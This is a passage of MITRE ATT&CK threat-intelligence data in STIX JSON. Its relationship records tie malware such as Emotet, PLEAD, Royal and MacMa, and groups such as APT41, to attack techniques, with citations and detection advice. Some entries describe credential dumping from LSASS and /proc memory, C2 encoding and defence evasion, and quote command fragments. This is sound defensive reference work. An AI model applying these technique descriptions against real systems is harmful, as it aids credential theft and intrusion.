2017)","modified":"2022-07-20T20:07:40.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f16c71ae-99b1-4aff-b276-13eb7c3ad889","type":"relationship","created":"2021-02-10T19:12:08.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lebanese Cedar Jan 2021","url":"https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf","description":"ClearSky Cyber Security. (2021, January). “Lebanese Cedar” APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."}],"modified":"2021-02-10T19:12:08.105Z","description":"[Caterpillar WebShell](https://attack.mitre.org/software/S0572) has a module to use a rootkit on a system.(Citation: ClearSky Lebanese Cedar Jan 2021) ","relationship_type":"uses","source_ref":"malware--751b77e6-af1f-483b-93fe-eddf17f92a64","target_ref":"attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f16f0b46-3363-48bd-9a13-c8751fdedf1c","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"APT15 Intezer June 2018","url":"https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/","description":"Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MirageFox](https://attack.mitre.org/software/S0280) has a function for decrypting data containing C2 configuration information.(Citation: APT15 Intezer June 2018)","modified":"2022-07-22T18:52:32.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f16f6118-810f-4e08-9178-001156c95b53","created":"2022-06-09T14:59:22.346Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET DazzleSpy Jan 2022","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MacMa](https://attack.mitre.org/software/S1016) can search for a specific file on the compromised computer and can enumerate files in Desktop, Downloads, and Documents folders.(Citation: ESET DazzleSpy Jan 2022)","modified":"2022-06-09T14:59:22.346Z","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f16f6933-0cff-4c88-a2bd-077e2de843fc","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor executed commands and arguments to detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Command-line Logging","description":"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.","url":"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f176cbd3-81e9-4e7e-b5e2-d6a44c7bf789","created":"2022-08-09T16:53:35.445Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."},{"source_name":"Netskope Squirrelwaffle Oct 2021","url":"https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot","description":"Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has been executed using `rundll32.exe`.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)","modified":"2022-08-09T16:53:35.445Z","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1790353-d9cd-4c93-a1a4-625a520cdd80","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Github W32Time Oct 2017","description":"Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.","url":"https://github.com/scottlundgren/w32time"}]},{"type":"relationship","id":"relationship--f1793a83-f51c-48d4-b11e-ee9c93a28e71","created":"2023-07-20T15:30:58.855Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-20T15:30:58.855Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--43f2776f-b4bd-4118-94b8-fee47e69676d","target_ref":"attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1796f08-a663-4189-8bdc-a89ecc13df57","type":"relationship","created":"2021-12-06T23:14:44.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"modified":"2021-12-06T23:14:44.826Z","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) can set the AutoRun Registry key with a PowerShell command.(Citation: MalwareBytes LazyScripter Feb 2021)","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f187aa90-df6c-485c-bc01-dec83aca9625","created":"2021-10-14T18:59:38.980Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB GrimAgent July 2021","description":"Priego, A. (2021, July). THE BROTHERS GRIM: THE REVERSING TALE OF GRIMAGENT MALWARE USED BY RYUK. Retrieved September 19, 2024.","url":"https://www.group-ib.com/blog/grimagent/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-19T14:32:39.437Z","description":"[GrimAgent](https://attack.mitre.org/software/S0632) has sent data related to a compromise host over its C2 channel.(Citation: Group IB GrimAgent July 2021)","relationship_type":"uses","source_ref":"malware--c9b99d03-ff11-4a48-95f0-82660d582c25","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f18ac720-632d-4761-89b1-258a67710a1b","type":"relationship","created":"2020-01-24T19:46:28.013Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T19:46:28.013Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f18b11ea-4604-4c9e-8f12-6cfb526ef58c","created":"2024-07-09T16:53:56.763Z","revoked":false,"external_references":[{"source_name":"Fortinet Emotet May 2017","description":"Xiaopeng Zhang. (2017, May 3). Deep Analysis of New Emotet Variant – Part 1. Retrieved April 1, 2019.","url":"https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-09T16:53:56.763Z","description":"[Emotet](https://attack.mitre.org/software/S0367) has encrypted data before sending to the C2 server.(Citation: Fortinet Emotet May 2017)","relationship_type":"uses","source_ref":"malware--32066e94-3112-48ca-b9eb-ba2b59d2f023","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f18c2611-d0ca-457d-a92a-55b43561faaf","created":"2022-04-18T19:00:04.328Z","x_mitre_version":"0.1","external_references":[{"source_name":"Medium Detecting Attempts to Steal Passwords from Memory","url":"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea","description":"French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019."}],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n##### Linux\nTo obtain the passwords and hashes stored in memory, processes must open a maps file in the /proc filesystem for the process being analyzed. This file is stored under the path /proc/<pid>/maps, where the <pid> directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.","modified":"2022-04-19T23:45:21.159Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f19234f6-5b59-4229-aae1-70df380a076a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-08T18:18:34.006Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects information about the OS and computer name.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1952dea-f9d6-421b-947e-502796e2c883","type":"relationship","created":"2020-05-06T15:26:38.970Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."},{"source_name":"ESET PLEAD Malware July 2018","url":"https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/","description":"Cherepanov, A.. (2018, July 9). Certificates stolen from Taiwanese tech‑companies misused in Plead malware campaign. Retrieved May 6, 2020."}],"modified":"2022-03-25T15:47:14.023Z","description":"[PLEAD](https://attack.mitre.org/software/S0435) can harvest saved credentials from browsers such as Google Chrome, Microsoft Internet Explorer, and Mozilla Firefox.(Citation: TrendMicro BlackTech June 2017)(Citation: ESET PLEAD Malware July 2018)","relationship_type":"uses","source_ref":"malware--b57f419e-8b12-49d3-886b-145383725dcd","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f1959153-4487-4604-a054-f2d7918c2067","created":"2024-03-01T16:58:02.316Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T16:58:02.316Z","description":"Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1992fc5-5013-4fad-9a43-74a7f2b9e3ec","type":"relationship","created":"2020-05-15T16:55:19.294Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Sharpshooter December 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."}],"modified":"2020-06-23T00:42:36.436Z","description":"[Rising Sun](https://attack.mitre.org/software/S0448) can modify file attributes to hide files.(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f19f6015-ffbe-4998-ad82-403fcfc2e649","type":"relationship","created":"2021-09-13T21:42:19.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-09-13T21:42:19.730Z","description":"[Bundlore](https://attack.mitre.org/software/S0482) changes the permissions of a payload using the command chmod -R 755.(Citation: 20 macOS Common Tools and Techniques)","relationship_type":"uses","source_ref":"malware--7bef1b56-4870-4e74-b32a-7dd88c390c44","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1a27232-5963-4041-9249-35aebd2f0aa0","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for contextual data about an account, which may include a username, user ID, environmental data that may attempt to hide artifacts associated with their behaviors to evade detection.","source_ref":"x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0","target_ref":"attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1a70ff1-a4e7-437e-96fd-8017feea0b5a","type":"relationship","created":"2020-09-24T14:20:39.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.446Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) has been packed with junk code and strings.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1a9d2b9-f5ec-4119-b3b5-8b46085c01b5","type":"relationship","created":"2020-04-28T13:48:00.513Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 March 2020","url":"https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html","description":"Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020."}],"modified":"2020-04-28T13:48:00.513Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used VMProtected binaries in multiple intrusions.(Citation: FireEye APT41 March 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f1aa297a-1b61-4bfc-9e4b-18b4b82b4d8c","created":"2023-03-31T19:27:45.587Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason Royal December 2022","description":"Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. Retrieved March 30, 2023.","url":"https://www.cybereason.com/blog/royal-ransomware-analysis"},{"source_name":"Kroll Royal Deep Dive February 2023","description":"Iacono, L. and Green, S. (2023, February 13). Royal Ransomware Deep Dive. Retrieved March 30, 2023.","url":"https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive"},{"source_name":"Trend Micro Royal Linux ESXi February 2023","description":"Morales, N. et al. (2023, February 20). Royal Ransomware Expands Attacks by Targeting Linux ESXi Servers. Retrieved March 30, 2023.","url":"https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-31T20:16:33.364Z","description":"[Royal](https://attack.mitre.org/software/S1073) can identify specific files and directories to exclude from the encryption process.(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: Trend Micro Royal Linux ESXi February 2023)","relationship_type":"uses","source_ref":"malware--802a874d-7463-4f2a-99e3-6a1f5a919a21","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1ab6a18-2624-4d35-b9e2-3f3a4288bcac","type":"relationship","created":"2022-03-26T03:47:59.073Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mythc Documentation","url":"https://docs.mythic-c2.net/","description":"Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}],"modified":"2022-03-26T03:47:59.073Z","description":"[Mythic](https://attack.mitre.org/software/S0699) can use a list of C2 URLs as fallback mechanisms in case one IP or domain gets blocked.(Citation: Mythc Documentation)\t","relationship_type":"uses","source_ref":"tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66","target_ref":"attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1af286d-9367-45de-aced-a762838e58bd","type":"relationship","created":"2017-05-31T21:33:27.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.secureworks.com/resources/blog/living-off-the-land/","description":"Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.","source_name":"Dell TG-1314"}],"modified":"2019-03-25T17:01:21.311Z","description":"(Citation: Dell TG-1314)","relationship_type":"uses","source_ref":"intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f1b29d7e-eba7-460a-bcec-33caf6a4fe15","created":"2022-10-04T06:59:50.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"SentinelLabs reversing run-only applescripts 2021","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T21:07:37.916Z","description":"[macOS.OSAMiner](https://attack.mitre.org/software/S1048) has used `ps ax | grep | grep -v grep | ...` and `ps ax | grep -E...` to conduct process discovery.(Citation: SentinelLabs reversing run-only applescripts 2021)","relationship_type":"uses","source_ref":"malware--2a59a237-1530-4d55-91f9-2aebf961cc37","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1b32781-5cc4-40b3-a9b9-af069657665a","type":"relationship","created":"2020-10-02T14:55:43.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-02T14:55:43.968Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161","target_ref":"attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1b9730f-6c73-4686-afe6-34d9a89f98af","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor for processes being viewed that may inject malicious code into suspended and hollowed processes in order to evade process-based defenses.","source_ref":"x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f1bd5050-739b-4a22-a1a6-f80e70cb8192","type":"relationship","created":"2021-03-24T20:25:01.267Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.267Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has used base64 to encode its C2 traffic.(Citation: Antiy CERT Ramsay April 